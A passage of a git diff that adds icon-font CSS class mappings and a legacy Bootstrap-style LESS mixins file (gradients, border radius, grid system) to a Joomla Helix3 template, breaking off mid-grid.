+ content: "\64";
+}
+.icon-zoom-out:before {
+ content: "\65";
+}
+.icon-apply:before,
+.icon-edit:before,
+.icon-pencil:before {
+ content: "\2b";
+}
+.icon-pencil-2:before {
+ content: "\2c";
+}
+.icon-brush:before {
+ content: "\3b";
+}
+.icon-save-new:before,
+.icon-plus-2:before {
+ content: "\5d";
+}
+.icon-ban-circle:before,
+.icon-minus-sign:before,
+.icon-minus-2:before {
+ content: "\5e";
+}
+.icon-delete:before,
+.icon-remove:before,
+.icon-cancel-2:before {
+ content: "\49";
+}
+.icon-publish:before,
+.icon-save:before,
+.icon-ok:before,
+.icon-checkmark:before {
+ content: "\47";
+}
+.icon-new:before,
+.icon-plus:before {
+ content: "\2a";
+}
+.icon-plus-circle:before {
+ content: "\e215";
+}
+.icon-minus:before,
+.icon-not-ok:before {
+ content: "\4b";
+}
+.icon-minus-circle:before {
+ content: "\e216";
+}
+.icon-unpublish:before,
+.icon-cancel:before {
+ content: "\4a";
+}
+.icon-cancel-circle:before {
+ content: "\e217";
+}
+.icon-checkmark-2:before {
+ content: "\e218";
+}
+.icon-checkmark-circle:before {
+ content: "\e219";
+}
+.icon-info:before {
+ content: "\e220";
+}
+.icon-info-2:before,
+.icon-info-circle:before {
+ content: "\e221";
+}
+.icon-question:before,
+.icon-question-sign:before,
+.icon-help:before {
+ content: "\45";
+}
+.icon-question-2:before,
+.icon-question-circle:before {
+ content: "\e222";
+}
+.icon-notification:before {
+ content: "\e223";
+}
+.icon-notification-2:before,
+.icon-notification-circle:before {
+ content: "\e224";
+}
+.icon-pending:before,
+.icon-warning:before {
+ content: "\48";
+}
+.icon-warning-2:before,
+.icon-warning-circle:before {
+ content: "\e225";
+}
+.icon-checkbox-unchecked:before {
+ content: "\3d";
+}
+.icon-checkin:before,
+.icon-checkbox:before,
+.icon-checkbox-checked:before {
+ content: "\3e";
+}
+.icon-checkbox-partial:before {
+ content: "\3f";
+}
+.icon-square:before {
+ content: "\e226";
+}
+.icon-radio-unchecked:before {
+ content: "\e227";
+}
+.icon-radio-checked:before,
+.icon-generic:before {
+ content: "\e228";
+}
+.icon-circle:before {
+ content: "\e229";
+}
+.icon-signup:before {
+ content: "\e230";
+}
+.icon-grid:before,
+.icon-grid-view:before {
+ content: "\58";
+}
+.icon-grid-2:before,
+.icon-grid-view-2:before {
+ content: "\59";
+}
+.icon-menu:before {
+ content: "\5a";
+}
+.icon-list:before,
+.icon-list-view:before {
+ content: "\31";
+}
+.icon-list-2:before {
+ content: "\e231";
+}
+.icon-menu-3:before {
+ content: "\e232";
+}
+.icon-folder-open:before,
+.icon-folder:before {
+ content: "\2d";
+}
+.icon-folder-close:before,
+.icon-folder-2:before {
+ content: "\2e";
+}
+.icon-folder-plus:before {
+ content: "\e234";
+}
+.icon-folder-minus:before {
+ content: "\e235";
+}
+.icon-folder-3:before {
+ content: "\e236";
+}
+.icon-folder-plus-2:before {
+ content: "\e237";
+}
+.icon-folder-remove:before {
+ content: "\e238";
+}
+.icon-file:before {
+ content: "\e016";
+}
+.icon-file-2:before {
+ content: "\e239";
+}
+.icon-file-add:before,
+.icon-file-plus:before {
+ content: "\29";
+}
+.icon-file-remove:before,
+.icon-file-minus:before {
+ content: "\e017";
+}
+.icon-file-check:before {
+ content: "\e240";
+}
+.icon-file-remove:before {
+ content: "\e241";
+}
+.icon-save-copy:before,
+.icon-copy:before {
+ content: "\e018";
+}
+.icon-stack:before {
+ content: "\e242";
+}
+.icon-tree:before {
+ content: "\e243";
+}
+.icon-tree-2:before {
+ content: "\e244";
+}
+.icon-paragraph-left:before {
+ content: "\e246";
+}
+.icon-paragraph-center:before {
+ content: "\e247";
+}
+.icon-paragraph-right:before {
+ content: "\e248";
+}
+.icon-paragraph-justify:before {
+ content: "\e249";
+}
+.icon-screen:before {
+ content: "\e01c";
+}
+.icon-tablet:before {
+ content: "\e01d";
+}
+.icon-mobile:before {
+ content: "\e01e";
+}
+.icon-box-add:before {
+ content: "\51";
+}
+.icon-box-remove:before {
+ content: "\52";
+}
+.icon-download:before {
+ content: "\e021";
+}
+.icon-upload:before {
+ content: "\e022";
+}
+.icon-home:before {
+ content: "\21";
+}
+.icon-home-2:before {
+ content: "\e250";
+}
+.icon-out-2:before,
+.icon-new-tab:before {
+ content: "\e024";
+}
+.icon-out-3:before,
+.icon-new-tab-2:before {
+ content: "\e251";
+}
+.icon-link:before {
+ content: "\e252";
+}
+.icon-picture:before,
+.icon-image:before {
+ content: "\2f";
+}
+.icon-pictures:before,
+.icon-images:before {
+ content: "\30";
+}
+.icon-palette:before,
+.icon-color-palette:before {
+ content: "\e014";
+}
+.icon-camera:before {
+ content: "\55";
+}
+.icon-camera-2:before,
+.icon-video:before {
+ content: "\e015";
+}
+.icon-play-2:before,
+.icon-video-2:before,
+.icon-youtube:before {
+ content: "\56";
+}
+.icon-music:before {
+ content: "\57";
+}
+.icon-user:before {
+ content: "\22";
+}
+.icon-users:before {
+ content: "\e01f";
+}
+.icon-vcard:before {
+ content: "\6d";
+}
+.icon-address:before {
+ content: "\70";
+}
+.icon-share-alt:before,
+.icon-out:before {
+ content: "\26";
+}
+.icon-enter:before {
+ content: "\e257";
+}
+.icon-exit:before {
+ content: "\e258";
+}
+.icon-comment:before,
+.icon-comments:before {
+ content: "\24";
+}
+.icon-comments-2:before {
+ content: "\25";
+}
+.icon-quote:before,
+.icon-quotes-left:before {
+ content: "\60";
+}
+.icon-quote-2:before,
+.icon-quotes-right:before {
+ content: "\61";
+}
+.icon-quote-3:before,
+.icon-bubble-quote:before {
+ content: "\e259";
+}
+.icon-phone:before {
+ content: "\e260";
+}
+.icon-phone-2:before {
+ content: "\e261";
+}
+.icon-envelope:before,
+.icon-mail:before {
+ content: "\4d";
+}
+.icon-envelope-opened:before,
+.icon-mail-2:before {
+ content: "\4e";
+}
+.icon-unarchive:before,
+.icon-drawer:before {
+ content: "\4f";
+}
+.icon-archive:before,
+.icon-drawer-2:before {
+ content: "\50";
+}
+.icon-briefcase:before {
+ content: "\e020";
+}
+.icon-tag:before {
+ content: "\e262";
+}
+.icon-tag-2:before {
+ content: "\e263";
+}
+.icon-tags:before {
+ content: "\e264";
+}
+.icon-tags-2:before {
+ content: "\e265";
+}
+.icon-options:before,
+.icon-cog:before {
+ content: "\38";
+}
+.icon-cogs:before {
+ content: "\37";
+}
+.icon-screwdriver:before,
+.icon-tools:before {
+ content: "\36";
+}
+.icon-wrench:before {
+ content: "\3a";
+}
+.icon-equalizer:before {
+ content: "\39";
+}
+.icon-dashboard:before {
+ content: "\78";
+}
+.icon-switch:before {
+ content: "\e266";
+}
+.icon-filter:before {
+ content: "\54";
+}
+.icon-purge:before,
+.icon-trash:before {
+ content: "\4c";
+}
+.icon-checkedout:before,
+.icon-lock:before,
+.icon-locked:before {
+ content: "\23";
+}
+.icon-unlock:before {
+ content: "\e267";
+}
+.icon-key:before {
+ content: "\5f";
+}
+.icon-support:before {
+ content: "\46";
+}
+.icon-database:before {
+ content: "\62";
+}
+.icon-scissors:before {
+ content: "\e268";
+}
+.icon-health:before {
+ content: "\6a";
+}
+.icon-wand:before {
+ content: "\6b";
+}
+.icon-eye-open:before,
+.icon-eye:before {
+ content: "\3c";
+}
+.icon-eye-close:before,
+.icon-eye-blocked:before,
+.icon-eye-2:before {
+ content: "\e269";
+}
+.icon-clock:before {
+ content: "\6e";
+}
+.icon-compass:before {
+ content: "\6f";
+}
+.icon-broadcast:before,
+.icon-connection:before,
+.icon-wifi:before {
+ content: "\e01b";
+}
+.icon-book:before {
+ content: "\e271";
+}
+.icon-lightning:before,
+.icon-flash:before {
+ content: "\79";
+}
+.icon-print:before,
+.icon-printer:before {
+ content: "\e013";
+}
+.icon-feed:before {
+ content: "\71";
+}
+.icon-calendar:before {
+ content: "\43";
+}
+.icon-calendar-2:before {
+ content: "\44";
+}
+.icon-calendar-3:before {
+ content: "\e273";
+}
+.icon-pie:before {
+ content: "\77";
+}
+.icon-bars:before {
+ content: "\76";
+}
+.icon-chart:before {
+ content: "\75";
+}
+.icon-power-cord:before {
+ content: "\32";
+}
+.icon-cube:before {
+ content: "\33";
+}
+.icon-puzzle:before {
+ content: "\34";
+}
+.icon-attachment:before,
+.icon-paperclip:before,
+.icon-flag-2:before {
+ content: "\72";
+}
+.icon-lamp:before {
+ content: "\74";
+}
+.icon-pin:before,
+.icon-pushpin:before {
+ content: "\73";
+}
+.icon-location:before {
+ content: "\63";
+}
+.icon-shield:before {
+ content: "\e274";
+}
+.icon-flag:before {
+ content: "\35";
+}
+.icon-flag-3:before {
+ content: "\e275";
+}
+.icon-bookmark:before {
+ content: "\e023";
+}
+.icon-bookmark-2:before {
+ content: "\e276";
+}
+.icon-heart:before {
+ content: "\e277";
+}
+.icon-heart-2:before {
+ content: "\e278";
+}
+.icon-thumbs-up:before {
+ content: "\5b";
+}
+.icon-thumbs-down:before{
+ content: "\5c";
+}
+.icon-unfeatured:before,
+.icon-asterisk:before,
+.icon-star-empty:before {
+ content: "\40";
+}
+.icon-star-2:before {
+ content: "\41";
+}
+.icon-featured:before,
+.icon-default:before,
+.icon-star:before{
+ content: "\42";
+}
+.icon-smiley:before,
+.icon-smiley-happy:before {
+ content: "\e279";
+}
+.icon-smiley-2:before,
+.icon-smiley-happy-2:before {
+ content: "\e280";
+}
+.icon-smiley-sad:before {
+ content: "\e281";
+}
+.icon-smiley-sad-2:before {
+ content: "\e282";
+}
+.icon-smiley-neutral:before {
+ content: "\e283";
+}
+.icon-smiley-neutral-2:before {
+ content: "\e284";
+}
+.icon-cart:before {
+ content: "\e019";
+}
+.icon-basket:before {
+ content: "\e01a";
+}
+.icon-credit:before {
+ content: "\e286";
+}
+.icon-credit-2:before {
+ content: "\e287";
+}
+.icon-expired:before {
+content: "\4b";
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/mixins.less b/deployed/helix3/templates/shaper_helix3/less/legacy/mixins.less
new file mode 100644
index 00000000..36a27e7b
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/mixins.less
@@ -0,0 +1,706 @@
+//
+// Mixins
+// --------------------------------------------------
+
+
+// UTILITY MIXINS
+// --------------------------------------------------
+
+// Clearfix
+// --------
+// For clearing floats like a boss h5bp.com/q
+.clearfix {
+ *zoom: 1;
+ &:before,
+ &:after {
+ display: table;
+ content: "";
+ // Fixes Opera/contenteditable bug:
+ // http://nicolasgallagher.com/micro-clearfix-hack/#comment-36952
+ line-height: 0;
+ }
+ &:after {
+ clear: both;
+ }
+}
+
+// Webkit-style focus
+// ------------------
+.tab-focus() {
+ // Default
+ outline: thin dotted #333;
+ // Webkit
+ outline: 5px auto -webkit-focus-ring-color;
+ outline-offset: -2px;
+}
+
+// Center-align a block level element
+// ----------------------------------
+.center-block() {
+ display: block;
+ margin-left: auto;
+ margin-right: auto;
+}
+
+// IE7 inline-block
+// ----------------
+.ie7-inline-block() {
+ *display: inline; /* IE7 inline-block hack */
+ *zoom: 1;
+}
+
+// IE7 likes to collapse whitespace on either side of the inline-block elements.
+// Ems because we're attempting to match the width of a space character. Left
+// version is for form buttons, which typically come after other elements, and
+// right version is for icons, which come before. Applying both is ok, but it will
+// mean that space between those elements will be .6em (~2 space characters) in IE7,
+// instead of the 1 space in other browsers.
+.ie7-restore-left-whitespace() {
+ *margin-left: .3em;
+
+ &:first-child {
+ *margin-left: 0;
+ }
+}
+
+.ie7-restore-right-whitespace() {
+ *margin-right: .3em;
+}
+
+// Sizing shortcuts
+// -------------------------
+.size(@height, @width) {
+ width: @width;
+ height: @height;
+}
+.square(@size) {
+ .size(@size, @size);
+}
+
+// Placeholder text
+// -------------------------
+.placeholder(@color: @placeholderText) {
+ &:-moz-placeholder {
+ color: @color;
+ }
+ &:-ms-input-placeholder {
+ color: @color;
+ }
+ &::-webkit-input-placeholder {
+ color: @color;
+ }
+}
+
+// Text overflow
+// -------------------------
+// Requires inline-block or block for proper styling
+.text-overflow() {
+ overflow: hidden;
+ text-overflow: ellipsis;
+ white-space: nowrap;
+}
+
+// CSS image replacement
+// -------------------------
+// Source: https://github.com/h5bp/html5-boilerplate/commit/aa0396eae757
+.hide-text {
+ font: 0/0 a;
+ color: transparent;
+ text-shadow: none;
+ background-color: transparent;
+ border: 0;
+}
+
+
+// FONTS
+// --------------------------------------------------
+
+#font {
+ #family {
+ .serif() {
+ font-family: @serifFontFamily;
+ }
+ .sans-serif() {
+ font-family: @sansFontFamily;
+ }
+ .monospace() {
+ font-family: @monoFontFamily;
+ }
+ }
+ .shorthand(@size: @baseFontSize, @weight: normal, @lineHeight: @baseLineHeight) {
+ font-size: @size;
+ font-weight: @weight;
+ line-height: @lineHeight;
+ }
+ .serif(@size: @baseFontSize, @weight: normal, @lineHeight: @baseLineHeight) {
+ #font > #family > .serif;
+ #font > .shorthand(@size, @weight, @lineHeight);
+ }
+ .sans-serif(@size: @baseFontSize, @weight: normal, @lineHeight: @baseLineHeight) {
+ #font > #family > .sans-serif;
+ #font > .shorthand(@size, @weight, @lineHeight);
+ }
+ .monospace(@size: @baseFontSize, @weight: normal, @lineHeight: @baseLineHeight) {
+ #font > #family > .monospace;
+ #font > .shorthand(@size, @weight, @lineHeight);
+ }
+}
+
+
+// FORMS
+// --------------------------------------------------
+
+// Block level inputs
+.input-block-level {
+ display: block;
+ width: 100%;
+ min-height: @inputHeight; // Make inputs at least the height of their button counterpart (base line-height + padding + border)
+ .box-sizing(border-box); // Makes inputs behave like true block-level elements
+}
+
+
+
+// Mixin for form field states
+.formFieldState(@textColor: #555, @borderColor: #ccc, @backgroundColor: #f5f5f5) {
+ // Set the text color
+ .control-label,
+ .help-block,
+ .help-inline {
+ color: @textColor;
+ }
+ // Style inputs accordingly
+ .checkbox,
+ .radio,
+ input,
+ select,
+ textarea {
+ color: @textColor;
+ }
+ input,
+ select,
+ textarea {
+ border-color: @borderColor;
+ .box-shadow(inset 0 1px 1px rgba(0,0,0,.075)); // Redeclare so transitions work
+ &:focus {
+ border-color: darken(@borderColor, 10%);
+ @shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 6px lighten(@borderColor, 20%);
+ .box-shadow(@shadow);
+ }
+ }
+ // Give a small background color for input-prepend/-append
+ .input-prepend .add-on,
+ .input-append .add-on {
+ color: @textColor;
+ background-color: @backgroundColor;
+ border-color: @textColor;
+ }
+}
+
+
+
+// CSS3 PROPERTIES
+// --------------------------------------------------
+
+// Border Radius
+.border-radius(@radius) {
+ -webkit-border-radius: @radius;
+ -moz-border-radius: @radius;
+ border-radius: @radius;
+}
+
+// Single Corner Border Radius
+.border-top-left-radius(@radius) {
+ -webkit-border-top-left-radius: @radius;
+ -moz-border-radius-topleft: @radius;
+ border-top-left-radius: @radius;
+}
+.border-top-right-radius(@radius) {
+ -webkit-border-top-right-radius: @radius;
+ -moz-border-radius-topright: @radius;
+ border-top-right-radius: @radius;
+}
+.border-bottom-right-radius(@radius) {
+ -webkit-border-bottom-right-radius: @radius;
+ -moz-border-radius-bottomright: @radius;
+ border-bottom-right-radius: @radius;
+}
+.border-bottom-left-radius(@radius) {
+ -webkit-border-bottom-left-radius: @radius;
+ -moz-border-radius-bottomleft: @radius;
+ border-bottom-left-radius: @radius;
+}
+
+// Single Side Border Radius
+.border-top-radius(@radius) {
+ .border-top-right-radius(@radius);
+ .border-top-left-radius(@radius);
+}
+.border-right-radius(@radius) {
+ .border-top-right-radius(@radius);
+ .border-bottom-right-radius(@radius);
+}
+.border-bottom-radius(@radius) {
+ .border-bottom-right-radius(@radius);
+ .border-bottom-left-radius(@radius);
+}
+.border-left-radius(@radius) {
+ .border-top-left-radius(@radius);
+ .border-bottom-left-radius(@radius);
+}
+
+// Drop shadows
+.box-shadow(@shadow) {
+ -webkit-box-shadow: @shadow;
+ -moz-box-shadow: @shadow;
+ box-shadow: @shadow;
+}
+
+// Transitions
+.transition(@transition) {
+ -webkit-transition: @transition;
+ -moz-transition: @transition;
+ -o-transition: @transition;
+ transition: @transition;
+}
+.transition-delay(@transition-delay) {
+ -webkit-transition-delay: @transition-delay;
+ -moz-transition-delay: @transition-delay;
+ -o-transition-delay: @transition-delay;
+ transition-delay: @transition-delay;
+}
+.transition-duration(@transition-duration) {
+ -webkit-transition-duration: @transition-duration;
+ -moz-transition-duration: @transition-duration;
+ -o-transition-duration: @transition-duration;
+ transition-duration: @transition-duration;
+}
+
+// Transformations
+.rotate(@degrees) {
+ -webkit-transform: rotate(@degrees);
+ -moz-transform: rotate(@degrees);
+ -ms-transform: rotate(@degrees);
+ -o-transform: rotate(@degrees);
+ transform: rotate(@degrees);
+}
+.scale(@ratio) {
+ -webkit-transform: scale(@ratio);
+ -moz-transform: scale(@ratio);
+ -ms-transform: scale(@ratio);
+ -o-transform: scale(@ratio);
+ transform: scale(@ratio);
+}
+.translate(@x, @y) {
+ -webkit-transform: translate(@x, @y);
+ -moz-transform: translate(@x, @y);
+ -ms-transform: translate(@x, @y);
+ -o-transform: translate(@x, @y);
+ transform: translate(@x, @y);
+}
+.skew(@x, @y) {
+ -webkit-transform: skew(@x, @y);
+ -moz-transform: skew(@x, @y);
+ -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twitter/bootstrap/issues/4885
+ -o-transform: skew(@x, @y);
+ transform: skew(@x, @y);
+ -webkit-backface-visibility: hidden; // See https://github.com/twitter/bootstrap/issues/5319
+}
+.translate3d(@x, @y, @z) {
+ -webkit-transform: translate3d(@x, @y, @z);
+ -moz-transform: translate3d(@x, @y, @z);
+ -o-transform: translate3d(@x, @y, @z);
+ transform: translate3d(@x, @y, @z);
+}
+
+// Backface visibility
+// Prevent browsers from flickering when using CSS 3D transforms.
+// Default value is `visible`, but can be changed to `hidden
+// See git pull https://github.com/dannykeane/bootstrap.git backface-visibility for examples
+.backface-visibility(@visibility){
+ -webkit-backface-visibility: @visibility;
+ -moz-backface-visibility: @visibility;
+ backface-visibility: @visibility;
+}
+
+// Background clipping
+// Heads up: FF 3.6 and under need "padding" instead of "padding-box"
+.background-clip(@clip) {
+ -webkit-background-clip: @clip;
+ -moz-background-clip: @clip;
+ background-clip: @clip;
+}
+
+// Background sizing
+.background-size(@size) {
+ -webkit-background-size: @size;
+ -moz-background-size: @size;
+ -o-background-size: @size;
+ background-size: @size;
+}
+
+
+// Box sizing
+.box-sizing(@boxmodel) {
+ -webkit-box-sizing: @boxmodel;
+ -moz-box-sizing: @boxmodel;
+ box-sizing: @boxmodel;
+}
+
+// User select
+// For selecting text on the page
+.user-select(@select) {
+ -webkit-user-select: @select;
+ -moz-user-select: @select;
+ -ms-user-select: @select;
+ -o-user-select: @select;
+ user-select: @select;
+}
+
+// Resize anything
+.resizable(@direction) {
+ resize: @direction; // Options: horizontal, vertical, both
+ overflow: auto; // Safari fix
+}
+
+// CSS3 Content Columns
+.content-columns(@columnCount, @columnGap: @gridGutterWidth) {
+ -webkit-column-count: @columnCount;
+ -moz-column-count: @columnCount;
+ column-count: @columnCount;
+ -webkit-column-gap: @columnGap;
+ -moz-column-gap: @columnGap;
+ column-gap: @columnGap;
+}
+
+// Optional hyphenation
+.hyphens(@mode: auto) {
+ word-wrap: break-word;
+ -webkit-hyphens: @mode;
+ -moz-hyphens: @mode;
+ -ms-hyphens: @mode;
+ -o-hyphens: @mode;
+ hyphens: @mode;
+}
+
+// Opacity
+.opacity(@opacity) {
+ opacity: @opacity / 100;
+ filter: ~"alpha(opacity=@{opacity})";
+}
+
+
+
+// BACKGROUNDS
+// --------------------------------------------------
+
+// Add an alphatransparency value to any background or border color (via Elyse Holladay)
+#translucent {
+ .background(@color: @white, @alpha: 1) {
+ background-color: hsla(hue(@color), saturation(@color), lightness(@color), @alpha);
+ }
+ .border(@color: @white, @alpha: 1) {
+ border-color: hsla(hue(@color), saturation(@color), lightness(@color), @alpha);
+ .background-clip(padding-box);
+ }
+}
+
+// Gradient Bar Colors for buttons and alerts
+.gradientBar(@primaryColor, @secondaryColor, @textColor: #fff, @textShadow: 0 -1px 0 rgba(0,0,0,.25)) {
+ color: @textColor;
+ text-shadow: @textShadow;
+ #gradient > .vertical(@primaryColor, @secondaryColor);
+ border-color: @secondaryColor @secondaryColor darken(@secondaryColor, 15%);
+ // No idea why this is here, as it makes the border grey instead of the given colors
+ // border-color: rgba(0,0,0,.1) rgba(0,0,0,.1) fadein(rgba(0,0,0,.1), 15%);
+}
+
+// Gradients
+#gradient {
+ .horizontal(@startColor: #555, @endColor: #333) {
+ background-color: @endColor;
+ background-image: -moz-linear-gradient(left, @startColor, @endColor); // FF 3.6+
+ background-image: -webkit-gradient(linear, 0 0, 100% 0, from(@startColor), to(@endColor)); // Safari 4+, Chrome 2+
+ background-image: -webkit-linear-gradient(left, @startColor, @endColor); // Safari 5.1+, Chrome 10+
+ background-image: -o-linear-gradient(left, @startColor, @endColor); // Opera 11.10
+ background-image: linear-gradient(to right, @startColor, @endColor); // Standard, IE10
+ background-repeat: repeat-x;
+ filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)",argb(@startColor),argb(@endColor))); // IE9 and down
+ }
+ .vertical(@startColor: #555, @endColor: #333) {
+ background-color: mix(@startColor, @endColor, 60%);
+ background-image: -moz-linear-gradient(top, @startColor, @endColor); // FF 3.6+
+ background-image: -webkit-gradient(linear, 0 0, 0 100%, from(@startColor), to(@endColor)); // Safari 4+, Chrome 2+
+ background-image: -webkit-linear-gradient(top, @startColor, @endColor); // Safari 5.1+, Chrome 10+
+ background-image: -o-linear-gradient(top, @startColor, @endColor); // Opera 11.10
+ background-image: linear-gradient(to bottom, @startColor, @endColor); // Standard, IE10
+ background-repeat: repeat-x;
+ filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)",argb(@startColor),argb(@endColor))); // IE9 and down
+ }
+ .directional(@startColor: #555, @endColor: #333, @deg: 45deg) {
+ background-color: @endColor;
+ background-repeat: repeat-x;
+ background-image: -moz-linear-gradient(@deg, @startColor, @endColor); // FF 3.6+
+ background-image: -webkit-linear-gradient(@deg, @startColor, @endColor); // Safari 5.1+, Chrome 10+
+ background-image: -o-linear-gradient(@deg, @startColor, @endColor); // Opera 11.10
+ background-image: linear-gradient(@deg, @startColor, @endColor); // Standard, IE10
+ }
+ .horizontal-three-colors(@startColor: #00b3ee, @midColor: #7a43b6, @colorStop: 50%, @endColor: #c3325f) {
+ background-color: mix(@midColor, @endColor, 80%);
+ background-image: -webkit-gradient(left, linear, 0 0, 0 100%, from(@startColor), color-stop(@colorStop, @midColor), to(@endColor));
+ background-image: -webkit-linear-gradient(left, @startColor, @midColor @colorStop, @endColor);
+ background-image: -moz-linear-gradient(left, @startColor, @midColor @colorStop, @endColor);
+ background-image: -o-linear-gradient(left, @startColor, @midColor @colorStop, @endColor);
+ background-image: linear-gradient(to right, @startColor, @midColor @colorStop, @endColor);
+ background-repeat: no-repeat;
+ filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)",argb(@startColor),argb(@endColor))); // IE9 and down, gets no color-stop at all for proper fallback
+ }
+
+ .vertical-three-colors(@startColor: #00b3ee, @midColor: #7a43b6, @colorStop: 50%, @endColor: #c3325f) {
+ background-color: mix(@midColor, @endColor, 80%);
+ background-image: -webkit-gradient(linear, 0 0, 0 100%, from(@startColor), color-stop(@colorStop, @midColor), to(@endColor));
+ background-image: -webkit-linear-gradient(@startColor, @midColor @colorStop, @endColor);
+ background-image: -moz-linear-gradient(top, @startColor, @midColor @colorStop, @endColor);
+ background-image: -o-linear-gradient(@startColor, @midColor @colorStop, @endColor);
+ background-image: linear-gradient(@startColor, @midColor @colorStop, @endColor);
+ background-repeat: no-repeat;
+ filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)",argb(@startColor),argb(@endColor))); // IE9 and down, gets no color-stop at all for proper fallback
+ }
+ .radial(@innerColor: #555, @outerColor: #333) {
+ background-color: @outerColor;
+ background-image: -webkit-gradient(radial, center center, 0, center center, 460, from(@innerColor), to(@outerColor));
+ background-image: -webkit-radial-gradient(circle, @innerColor, @outerColor);
+ background-image: -moz-radial-gradient(circle, @innerColor, @outerColor);
+ background-image: -o-radial-gradient(circle, @innerColor, @outerColor);
+ // > Joomla JUI
+ /* Joomla JUI NOTE: makes radial gradient IE 10+, also confirmed in Bootstrap, https://github.com/twbs/bootstrap/issues/7462 */
+ background-image: radial-gradient(circle, @innerColor, @outerColor);
+ // < Joomla JUI
+ background-repeat: no-repeat;
+ }
+ .striped(@color: #555, @angle: 45deg) {
+ background-color: @color;
+ background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(.25, rgba(255,255,255,.15)), color-stop(.25, transparent), color-stop(.5, transparent), color-stop(.5, rgba(255,255,255,.15)), color-stop(.75, rgba(255,255,255,.15)), color-stop(.75, transparent), to(transparent));
+ background-image: -webkit-linear-gradient(@angle, rgba(255,255,255,.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,.15) 50%, rgba(255,255,255,.15) 75%, transparent 75%, transparent);
+ background-image: -moz-linear-gradient(@angle, rgba(255,255,255,.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,.15) 50%, rgba(255,255,255,.15) 75%, transparent 75%, transparent);
+ background-image: -o-linear-gradient(@angle, rgba(255,255,255,.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,.15) 50%, rgba(255,255,255,.15) 75%, transparent 75%, transparent);
+ background-image: linear-gradient(@angle, rgba(255,255,255,.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,.15) 50%, rgba(255,255,255,.15) 75%, transparent 75%, transparent);
+ }
+}
+// Reset filters for IE
+.reset-filter() {
+ filter: e(%("progid:DXImageTransform.Microsoft.gradient(enabled = false)"));
+}
+
+
+
+// COMPONENT MIXINS
+// --------------------------------------------------
+
+// Horizontal dividers
+// -------------------------
+// Dividers (basically an hr) within dropdowns and nav lists
+.nav-divider(@top: #e5e5e5, @bottom: @white) {
+ // IE7 needs a set width since we gave a height. Restricting just
+ // to IE7 to keep the 1px left/right space in other browsers.
+ // It is unclear where IE is getting the extra space that we need
+ // to negative-margin away, but so it goes.
+ *width: 100%;
+ height: 1px;
+ margin: ((@baseLineHeight / 2) - 1) 1px; // 8px 1px
+ *margin: -5px 0 5px;
+ overflow: hidden;
+ background-color: @top;
+ border-bottom: 1px solid @bottom;
+}
+
+// Button backgrounds
+// ------------------
+.buttonBackground(@startColor, @endColor, @textColor: #fff, @textShadow: 0 -1px 0 rgba(0,0,0,.25)) {
+ // gradientBar will set the background to a pleasing blend of these, to support IE<=9
+ .gradientBar(@startColor, @endColor, @textColor, @textShadow);
+ *background-color: @endColor; /* Darken IE7 buttons by default so they stand out more given they won't have borders */
+ .reset-filter();
+
+ // in these cases the gradient won't cover the background, so we override
+ &:hover, &:focus, &:active, &.active, &.disabled, &[disabled] {
+ color: @textColor;
+ background-color: @endColor;
+ *background-color: darken(@endColor, 5%);
+ }
+
+ // IE 7 + 8 can't handle box-shadow to show active, so we darken a bit ourselves
+ &:active,
+ &.active {
+ background-color: darken(@endColor, 10%) e("\9");
+ }
+}
+
+// Navbar vertical align
+// -------------------------
+// Vertically center elements in the navbar.
+// Example: an element has a height of 30px, so write out `.navbarVerticalAlign(30px);` to calculate the appropriate top margin.
+.navbarVerticalAlign(@elementHeight) {
+ margin-top: (@navbarHeight - @elementHeight) / 2;
+}
+
+
+
+// Grid System
+// -----------
+
+// Centered container element
+.container-fixed() {
+ margin-right: auto;
+ margin-left: auto;
+ .clearfix();
+}
+
+// Table columns
+.tableColumns(@columnSpan: 1) {
+ float: none; // undo default grid column styles
+ width: ((@gridColumnWidth) * @columnSpan) + (@gridGutterWidth * (@columnSpan - 1)) - 16; // 16 is total padding on left and right of table cells
+ margin-left: 0; // undo default grid column styles
+}
+
+// Make a Grid
+// Use .makeRow and .makeColumn to assign semantic layouts grid system behavior
+.makeRow() {
+ margin-left: @gridGutterWidth * -1;
+ .clearfix();
+}
+.makeColumn(@columns: 1, @offset: 0) {
+ float: left;
+ margin-left: (@gridColumnWidth * @offset) + (@gridGutterWidth * (@offset - 1)) + (@gridGutterWidth * 2);
+ width: (@gridColumnWidth * @columns) + (@gridGutterWidth * (@columns - 1));
+}
+
+// The Grid
+#grid {
+
+ .core (@gridColumnWidth, @gridGutterWidth) {
+
+ .spanX (@index) when (@index > 0) {
+ .span@{index} { .span(@index); }
+ .spanX(@index - 1);
+ }
+ .spanX (0) {}
+
+ .offsetX (@index) when (@index > 0) {
+ .offset@{index} { .offset(@index); }
+ .offsetX(@index - 1);
+ }
+ .offsetX (0) {}
+
+ .offset (@columns) {
+ margin-left: (@gridColumnWidth * @columns) + (@gridGutterWidth * (@columns + 1));
+ }
+
+ .span (@columns) {
+ width: (@gridColumnWidth * @columns) + (@gridGutterWidth * (@columns - 1));
+ }
+
+ .row {
+ margin-left: @gridGutterWidth * -1;
+ .clearfix();
+ }
+
+ [class*="span"] {
+ float: left;
+ min-height: 1px; // prevent collapsing columns
+ margin-left: @gridGutterWidth;
+ }
+
+ // Set the container width, and override it for fixed navbars in media queries
+ .container,
+ .navbar-static-top .container,
+ .navbar-fixed-top .container,
+ .navbar-fixed-bottom .container { .span(@gridColumns); }
+
+ // generate .spanX and .offsetX
+ .spanX (@gridColumns);
+ .offsetX (@gridColumns);
+
+ }
+
+ .fluid (@fluidGridColumnWidth, @fluidGridGutterWidth) {
+
+ .spanX (@index) when (@index > 0) {
+ .span@{index} { .span(@index); }
+ .spanX(@index - 1);
+ }
+ .spanX (0) {}
+
+ .offsetX (@index) when (@index > 0) {
+ .offset@{index} { .offset(@index); }
